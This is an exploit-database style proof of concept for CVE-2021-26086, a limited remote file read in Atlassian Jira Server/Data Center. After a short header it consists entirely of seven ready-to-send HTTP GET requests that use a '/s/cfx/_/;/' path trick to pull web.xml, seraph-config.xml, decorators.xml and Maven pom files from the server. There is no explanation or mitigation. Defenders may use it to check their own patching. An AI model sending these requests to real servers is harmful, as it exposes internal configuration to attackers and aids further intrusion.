Atlassian Jira Server/Data Center 8.4.0 File Read

2021.10.06
Risk: High
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include # Date: 2021-10-05 # Exploit Author: Mayank Deshmukh # Vendor Homepage: https://www.atlassian.com/ # Software Link: https://www.atlassian.com/software/jira/download/data-center # Version: versions < 8.5.14, 8.6.0 ≤ version < 8.13.6, 8.14.0 ≤ version < 8.16.1 # Tested on: Kali Linux & Windows 10 # CVE : CVE-2021-26086 POC File #1 - web.xml GET /s/cfx/_/;/WEB-INF/web.xml HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC File #2 - seraph-config.xml GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC File #3 - decorators.xml GET /s/cfx/_/;/WEB-INF/decorators.xml HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC File #4 - /jira-webapp-dist/pom.properties GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC File #5 - /jira-webapp-dist/pom.xml GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC File #6 - /atlassian-jira-webapp/pom.xml GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC File #7 - /atlassian-jira-webapp/pom.properties GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close


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